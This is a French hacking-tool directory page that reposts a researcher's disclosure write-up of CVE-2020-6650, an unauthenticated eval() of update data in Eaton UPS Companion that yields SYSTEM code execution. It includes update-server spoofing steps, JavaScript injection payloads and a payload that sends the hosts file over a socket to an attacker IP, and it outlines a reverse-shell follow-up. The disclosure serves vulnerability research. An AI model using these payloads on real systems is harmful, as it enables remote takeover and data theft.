Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Eaton-UPS-Companion-Exploit — Ce référentiel détaille la CVE-2020-6650, une vulnérabilité que j'ai découverte dans l'UPS Companion d'Eaton. Tous les utilisateurs doivent immédiatement passer à la version 1.06, sinon ils risquent un accès administrateur à distance à leur système. | Kitploit
Outils/GitHubGitHub/ravss/eaton-ups-companion-exploit
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
ravss/eaton-ups-companion-exploit

Eaton-UPS-Companion-Exploit

Ce référentiel détaille la CVE-2020-6650, une vulnérabilité que j'ai découverte dans l'UPS Companion d'Eaton. Tous les utilisateurs doivent immédiatement passer à la version 1.06, sinon ils risquent un accès administrateur à distance à leur système.

Voir le dépôt
11il y a 6 ansPas encore vérifié

Vue d'ensemble

Le logiciel Eaton UPS Companion vérifie chaque semaine la présence d'une mise à jour via une connexion HTTP non sécurisée et exécute eval() sur le contenu de l'URL de mise à jour. Cela permet à un attaquant de créer une fonction JavaScript qui utilise les opérations bas niveau du système d'exploitation déjà présentes dans le logiciel backend, comme l'exécution de fichiers, les sockets réseau et les E/S du système de fichiers. Toutes ces opérations se produisent avec les privilèges NT AUTHORITY\SYSTEM, probablement en raison des permissions nécessaires à un onduleur (UPS) pour la gestion du système. Après une attente, une injection de commande automatique accordant un shell SYSTEM se produit sans effort.

Ce problème a été corrigé dans la version 1.06 et l'identifiant CVE attribué est CVE-2020-6650.

Chronologie (UTC+12)

Bug remarqué2019/10/25 - 21:43
Exploit réalisé2019/12/28 - 06:28
Signalé à Eaton2019/12/28 - 10:00
Accusé de réception2019/12/30 - 22:05
Simple PoC envoyé2020/01/04 - 03:32
En cours de correction2020/01/21 - 12:54
Corrigé2020/03/21 - 12:21

Merci à Eaton d'avoir simplifié la divulgation de cet exploit.


Étapes de découverte

Eaton UPS Companion reçoit les mises à jour depuis http://pqsoftware.eaton.com/upgrade/upgrade_euc.info

Problème 1 : Peut être facilement usurpé via arpspoof et dnsspoof de dsniff, puis python -m http.server 80. Problème 2 : L'absence de HTTPS ouvre un autre vecteur d'attaque pour le même effet.

Au 2019/10/25 - 22:08, voici le contenu du lien :

root@kitploit:~
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
  "EUC":
  {
    "WINDOWS":
    {
      "version": "1.04.017",
      "packageURL": "install/win32/euc/euc_win_1_04_017.exe",
      "info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
    }
  }
}

Je n'arrive pas à comprendre comment la somme de contrôle SHA1 du fichier est calculée ni ce qui est utilisé pour la calculer, mais le faire rendrait cela beaucoup plus simple.

Eaton UPS Companion crée un serveur HTTP local à http://localhost:4679. Cliquer sur « Version: Eaton UPS Companion v1.05 » ouvre un journal de débogage « caché » à http://localhost:4679/trace.html. Il peut également être ouvert via « .\mc2.exe -start -debug » dans cmd.exe

Servir une page HTML vide provoque une erreur importante qui est enregistrée :

root@kitploit:~
2019/10/25-21:32:29.051 | UpdateManager        | !!! ERROR: Update data could not be parsed: 
{
  "message": "syntax error", 
  "fileName": "scripts/libs/json.js", 
  "lineNumber": 122, 
  "stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
  "name": "SyntaxError"
}

eval() est utilisé ici, ce qui nous facilite la tâche. Voici un exemple de manipulation de l'interface utilisateur, où le contenu ci-dessous va dans update_euc.info.

root@kitploit:~
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})

Cela peut être transformé en une fonction appropriée grâce aux fonctions anonymes :

root@kitploit:~
(function() {
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()

Je pense qu'il peut également y avoir accès à ShutdownManager, ce qui n'est pas bon.

Aller sur http://localhost:4679/server/data_srv.js?action=init révèle plus d'informations sur le fonctionnement du système. Les fonctions JS classiques comme alert() n'existent pas et les objets comme document, console et object n'existent pas non plus. Édition très ancienne d'ECMAScript ou quelque chose du genre ? Pas de mot-clé let non plus, seulement var.

Cela pourrait aider :

root@kitploit:~
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",

UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});

Je peux voir toutes les propriétés des objets « manager » par exemple UpdateManager via :

root@kitploit:~
(function() {
  for (var property in UpdateManager) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
  }
})()

En faisant cela sur UpdateManager, j'ai trouvé ces fonctions très intéressantes :

root@kitploit:~
selfUpdate IS function () {\n    var packagePath = UpdateManager.retrievePackage();\n    if (packagePath) {\n        ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n    }\n}

retrievePackage IS function () {\n    var updateLocation = UpdateManager.updateLocation;\n    if (!UpdateManager.updateData) {\n        UpdateManager.checkForUpgrade();\n    }\n    if (!UpdateManager.updateData.packageURL) {\n        error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n        return false;\n    }\n    var packageURL = UpdateManager.updateData.packageURL;\n    var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n    File.createPath(UpdateManager.outputPath);\n    if (File.status(packagePath)) {\n        debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n        return packagePath;\n    }\n    debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n    var client = new HTTPClient(updateLocation);\n    var response = client.get(packageURL);\n    if (response && response.status == 200) {\n        debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n        try {\n            File.put(packagePath, response.data);\n            debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n            return packagePath;\n        } catch (e) {\n            error(\"Failed to save update package at '?'\", packagePath);\n        }\n    } else {\n        debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n    }\n    return false;\n}

Cela permet de démontrer que nous pouvons causer des problèmes :

root@kitploit:~
(function() {
  if (System.getAdminRights()) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
  }
})()

Il y a d'autres appels de fonctions utiles comme File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") qui déverse le contenu du fichier hosts dans une chaîne, mais uniquement en interne. Après avoir fouillé les propriétés de l'objet HTTPClient, il existe une autre classe d'objet qui permet de créer des sockets.

Par exemple, pour recevoir le fichier hosts :

root@kitploit:~
(function() {
  var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
  var s = new Socket("tcp");
  s.connect("192.168.1.???", 44444);
  s.send(hosts);
  s.close;
 }
})()

Finalement, j'ai découvert comment fonctionne System.open(<file>, <args>), qui exécute un fichier. À partir de là, il suffit de télécharger un reverse shell, de faire taire toute solution antivirus (car nous avons les privilèges SYSTEM), et d'obtenir un reverse shell.

Télécharger l’outil